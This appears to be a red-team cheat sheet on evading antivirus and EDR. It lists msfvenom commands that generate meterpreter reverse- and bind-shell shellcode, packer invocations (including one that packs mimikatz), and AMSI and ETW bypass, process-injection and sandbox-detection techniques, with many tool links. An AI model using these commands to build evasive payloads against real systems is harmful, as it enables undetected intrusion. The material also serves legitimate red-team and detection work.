

# Bypass AV/EDR

## Dropper

## Manual loader

## Automatic loader

## Generate shellcode

## Manual obfuscation

## Automatic obfuscation

## Process injection

## Detect virtual machines (Sandbox)

## From PE to shellcode

## From alive beacon

## Extensions

- 1 allocating memory
- 2 moving shellcode into that memory
- 3 executing the shellcode

```
#include <iostream>
#include <Windows.h>

int main(void) {
    HMODULE hMod = LoadLibrary("shellcode.dll");
    if (hMod == nullptr) {
        cout << "Failed to load shellcode.dll" << endl;
        return 0;
    }
}
```

- https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe53e3e0c8
- https://github.com/ReversingID/Shellcode-Loader/tree/master/windows
- https://sevosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/

- msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<SERVER> LPORT=<PORT> -f raw
- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=127.0.0.1 -encrypt rc4 -encrypt-key thisisakey -f dll
- msfvenom -p windows/meterpreter/bind\_tcp -e x86/shikata\_ga\_nai '\x00' -i 30 RHOST=10.0.0.68 LPORT=9050 -f c | tr -d '\n | more
- C2 (Cobalt/Havoc what ever)
- ASM https://nytrosecurity.com/2019/06/30/writing-shellcodes-for-windows-x64/
- Hyperion wine hyperion.exe /root/payloads/sheller/sheller\_putty\_reverse\_x86.exe
- C https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHaaherezade.pdf

Pro tips : A shellcode sent in 3 open sources packer will have more chance to be caught than a manual obfuscation

## Static

- Packing https://pentester.blog/?p=39
- Polymorph https://www.exploit-db.com/papers/13874
- Signature hiding https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates
- ROP https://improsec.com/tech-blog/bypassing-control-flow-guard-on-windows-10-part-ii
- CFG https://jshgitts.medium.com/hooking-control-flow-guard-cfg-for-fun-and-profit-31951485545
- CFG flattening http://ac.inf.elte.hu/Vol\_030\_2009/003.pdf
- Change logo/icon https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/resources?redirectedfrom=MSDN
- Change date of compilation
- Bypass AMSI https://rastamouse.me/memory-patching-amsi-bypass/
- https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
- https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/
- Description

## dynamic

- Network
  - C2 by DNS
  - P2P (hide ip from C2)
  - HTTPS
- Direct syscalls
  - https://medium.com/@merasor07/av-edr-evasion-using-direct-system-calls-user-mode-vs-kernel-mode-fa2dfed01a
  - https://thewover.github.io/Dynamic-Invoke/
- Delayed execution
  - WaitForSingleObjectEx https://www.purpl3f0xsecurl1y.tech/2021/03/30/av\_evasion.html
  - Foliage
  - Ekko A small sleep obfuscation technique that uses CreateTimerQueueTimer Win32 API
  - Deathsleep https://github.com/janoglezcampos/Deathsleep
- Disable ETW https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
- DInvoke https://github.com/TheWover/DInvoke

https://evasions.checkpoint.com/techniques/timing.html#delayed-execution

- CRT
  - with suspended
  - https://demonmohammadbagher.medium.com/bypassing-anti-virus-by-creating-remote-thread-into-target-process-45f145b2ac7a
- APC (Asynchronous Procedure Call)
  - https://subscription.packtpub.com/book/security/9781789610789/8/ch08v11sec50/executing-the-inject-code-using-ipc-queueing
  - https://github.com/LloydLabs/ntqueueapcthreadex-ntdll-gadget-injection
  - https://decoded.avast.io/janvojtesak/raspberry-robins-roshiyak-a-little-lesson-in-trickery/
- Process hollowing
  - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation
  - https://sevosecurity.com/2020/04/08/process-injection-part-1-createremotethread/
- Thread execution hijacking https://attack.mitre.org/techniques/T1055/003/
- PSC (Ptrace System Calls)
- Process Doppelganging https://thehackernews.com/2017/12/malware-process-doppelganging.html
- Dll injection
  - Reflective dll injection https://disman.nl/2015/01/30/an-improved-reflective-dll-injection-technique.html
  - https://github.com/fancycode/MemoryModule
  - https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection
  - DLL Sideload & Proxying https://book.hacktricks.xyz/windows-hardening/windows-av-bypass/fdll-sideload-and-proxying
- RWX You put your region in RW, you write your shellcode, then you reprotect in RX, then you run the thread. This way your region is never in rwx
- COM Hijack
  - https://www.mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundownlocalback/
  - https://0xpat.github.io/Abusing\_COM\_Objects/
- Remote thread https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
- User APC https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/

- https://github.com/S4ntiagoP/donut/tree/syscalls
- https://github.com/hasherezade/pe\_to\_shellcode
- https://github.com/monoxgas/sRDI

- Dll
- Exe
- Hta
- Cpl
- Link

- Software
  - Count process number if >=40 its probably not a VM
  - User interaction Send MessageBox
  - Check for internet
  - Datetime on compilation
  - Check for Computer name VM = DESKTOP-[0-9A-Z]{7}
- Hardware
  - CPUID timing https://github.com/CMEPW/bof-collection/blob/main/src/checkVM/checkVM2.c
  - Typical user workstation has a processor with at least 2 cores, a minimum of 2 GB of RAM and a 100 GB hard drive
- OSX https://evasions.checkpoint.com/techniques/macros.html#macos-sandbox-methods
- Tools https://github.com/a0rtega/pafish

- Havoc dotnet (object file)
- Cobalt BoF (Beacon object file)
- From .net to BoF https://github.com/CCob/BOF.NET
- https://github.com/trustedsec/CS-Situational-Awareness-BoF

Staged and stagelless  
By definition, when we talk about staged we are referring to a payload in addition to a piece. This means that there will be several actions (often 2) between the client and the server.  
If you use meterpreter, please use the following commands  
set EnableStageEncoding true;  
set StageEncoder x64/xor\_dynamic;

- @Jenaye\_fr
- LeDocteurDesBits
- michmich1000
- @Zabannn

- Office macro https://github.com/sevagas/macro\_pack
- https://github.com/optiv/ivy
- https://github.com/phra/PEzor
- https://github.com/klezVirus/inceptor
- https://github.com/govolution/avet
- https://github.com/Nariod/RustPacker
- https://github.com/DavidBuchanan314/monomorph
- https://github.com/uxp/uxp
- https://github.com/EgeBalci/sgn/
- Static
  - AMS Bypass
    - https://github.com/CCob/SharpBlock
    - https://github.com/danielbohannon/Invoke-Obfuscation
    - https://github.com/klezVirus/Chameleon
    - https://github.com/tokyoneon/Chimera
  - Signature hiding
    - https://github.com/optiv/ScareCrow ScareCrow -i /Path/To/ShellCode -d facebook.com
    - https://github.com/paranoidinja/CarbonCopy
  - LOLBIN RemComSvc https://gist.github.com/snowcrash/123945e8f06c7182769846265637fedb
  - Entropy https://github.com/kleiton0x00/ShellTropy
- Dynamic
  - Disable ETW
    - https://github.com/optiv/ScareCrow
    - https://gist.github.com/tandatat/e595c77c52e13aeee60e1e8b65d2b32
    - https://github.com/Solejded/BlockEtw
    - https://github.com/CCob/SharpBlock
  - Block DLL https://github.com/CCob/SharpBlock
  - Detect virtual machines https://github.com/a0rtega/pafish
  - Indirect syscall
    - https://github.com/optiv/Freeze Freeze -i /Path/To/Shellcode -encrypt -sandbox -o packed.exe
    - https://github.com/phra/PEzor PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
    - https://github.com/optiv/ScareCrow
    - https://github.com/klezVirus/SysWhispers3
    - https://github.com/jthuraiaamy/SysWhispers2
  - Disable AV https://github.com/APTortellini/unDefender
  - Block DLL https://github.com/CCob/SharpBlock
  - Detect virtual machines https://github.com/a0rtega/pafish